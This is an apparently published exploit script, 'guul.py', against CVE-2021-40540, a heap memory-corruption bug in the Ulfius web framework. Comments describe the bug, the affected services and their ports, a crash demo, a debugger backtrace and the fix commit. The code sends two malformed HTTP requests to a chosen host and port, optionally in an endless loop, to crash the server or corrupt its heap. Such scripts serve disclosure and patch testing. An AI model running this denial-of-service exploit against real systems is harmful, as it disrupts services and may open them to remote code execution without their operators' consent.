Share
## https://sploitus.com/exploit?id=PACKETSTORM:164152
#!/usr/bin/python3  
#  
# guul.py  
#  
# Ulfius Web Framework Remote Memory Corruption Vulnerability  
#  
# Jeremy Brown  
# Sept 2021  
#  
# Intro  
#  
# Ulfius Web Framework is used by a number of different projects to build web services. Some of the projects  
# tested and confirmed vulnerable are Glewlwyd SSO Server, Taliesin Audio Streaming Service and Lebiniou Music  
# Visualization Suite (web UI).  
#  
# When parsing malformed HTTP requests, a heap-related initialization bug is triggered resulting in a crash in the  
# server or potentially remote code execution with privileges of the running process. The affected process crashes  
# with either a SIGSEGV or SIGARBT + "double free" error. This repro doesn't consistently trigger the latter condition  
# though and it may take many tries / variations eg. looping a target package so it restarts on crashes and looping  
# it to send many payloads or just fuzzing the crashing requests to get it in the right state.  
#  
# CVE-2021-40540  
#  
# Demo  
#  
# $ ./guul.py 10.0.0.2 --loop  
#  
# $ while :; do glewlwyd 2>&1 > /dev/null; done  
# ....  
# Segmentation fault (core dumped)  
# Segmentation fault (core dumped)  
# Segmentation fault (core dumped)  
# double free or corruption (out)  
# Aborted (core dumped)  
#  
# Debugger  
#  
# double free or corruption (out)  
# Thread 183 "MHD-connection" received signal SIGABRT, Aborted.  
#  
# (gdb) bt  
# 0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50  
# 1 0x00007ffff7afb859 in __GI_abort () at abort.c:79  
# 2 0x00007ffff7b663ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c90285 "%s\n")  
# at ../sysdeps/posix/libc_fatal.c:155  
# 3 0x00007ffff7b6e47c in malloc_printerr (str=str@entry=0x7ffff7c92670 "double free or corruption (out)") at malloc.c:5347  
# 4 0x00007ffff7b70120 in _int_free (av=0x7ffff7cc1b80 <main_arena>, p=0x7fffe8000090, have_lock=<optimized out>) at malloc.c:4314  
# 5 0x00007ffff766b035 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12  
# 6 0x00007ffff766bed8 in MHD_destroy_post_processor () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12  
# 7 0x00007ffff7cf14f7 in mhd_request_completed () from /usr/local/lib/libulfius.so.2.7  
# 8 0x00007ffff765c670 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12  
# 9 0x00007ffff76608d6 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12  
# 10 0x00007ffff7664069 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12  
# 11 0x00007ffff7f57609 in start_thread (arg=<optimized out>) at pthread_create.c:477  
# 12 0x00007ffff7bf8293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95  
#  
# Fix  
# - commit c83f564c184a27145e07c274b305cabe943bbfaa  
#  
  
import os  
import sys  
import argparse  
import random  
import time  
import signal  
import socket  
  
#  
# confirmed affected packages  
#  
GLEWLWYD_PORT = 4593 # glewlwyd  
LEBINIOU_PORT = 30543 # apt install lebiniou  
TALIESIN_PORT = 8576 # docker run --rm -it -p 8576:8576 -v /tmp/taliesin:/var/cache/taliesin babelouest/taliesin_x86_64_sqlite_noauth_quickstart  
  
#  
# simple requests, but wasn't obvious during fuzzing that it takes two of them to trigger the crash  
#  
REQ_1 = b'POST / HTTP/1.1\r\rx'  
REQ_2 = b'GET / HTTP/1.1\r\r'  
  
class Guul(object):  
def __init__(self, args):  
self.host = args.host  
self.port = args.port  
self.loop = args.loop  
  
self.sock = None  
  
def run(self):  
if(self.loop):  
print("sending requests to trigger crash, hit ctrl+c to stop\n")  
  
while(True):  
if(self.triggerCrash() < 0):  
return -1  
else:  
print("sending requests to trigger crash\n")  
  
if(self.triggerCrash() < 0):  
return -1  
  
print("done\n")  
  
return 0  
  
def getSock(self):  
try:  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.settimeout(2)  
except Exception as error:  
print("socket() failed: %s\n" % error)  
return None  
  
return sock  
  
def connect(self):  
self.sock = self.getSock()  
  
if(self.sock == None):  
return -1  
  
try:  
self.sock.connect((self.host, self.port))  
except Exception as error:  
print("connect() failed: %s\n" % error)  
return -1  
  
return 0  
  
def prepNext(self, host):  
self.sock.close()  
  
time.sleep(2)  
  
if(self.connect() < 0):  
print("connection failed\n")  
return -1  
  
def sendReq(self, num, req):  
try:  
self.sock.send(req)  
except Exception as error:  
print("failed to send request %d: %s\n" % (num, error))  
return -1  
  
try:  
self.sock.recv(1024)  
except Exception as error:  
pass # expected as target may stop responding after requests  
  
return 0  
  
def triggerCrash(self):  
if(self.connect() < 0):  
print("connection failed\n")  
return -1  
  
if(self.sendReq(1, REQ_1) < 0):  
return -1  
  
self.prepNext(self.host)  
  
if(self.sendReq(2, REQ_2) < 0):  
return -1  
  
self.sock.close()  
  
return 0  
  
def stop(signum, frame):  
print("\n\ndone\n")  
sys.exit(0)  
  
def arg_parse():  
parser = argparse.ArgumentParser()  
  
parser.add_argument("host",  
type=str,  
help="target ip")  
  
parser.add_argument("-p",  
"--port",  
type=int,  
default=GLEWLWYD_PORT,  
help="target port (default: %d)" % GLEWLWYD_PORT)  
  
parser.add_argument("-l",  
"--loop",  
default=False,  
action="store_true",  
help="loop sending the crashing requests for testing")  
  
args = parser.parse_args()  
  
return args  
  
def main():  
signal.signal(signal.SIGINT, stop)  
  
args = arg_parse()  
  
gg = Guul(args)  
result = gg.run()  
  
if(result > 0):  
sys.exit(-1)  
  
if(__name__ == '__main__'):  
main()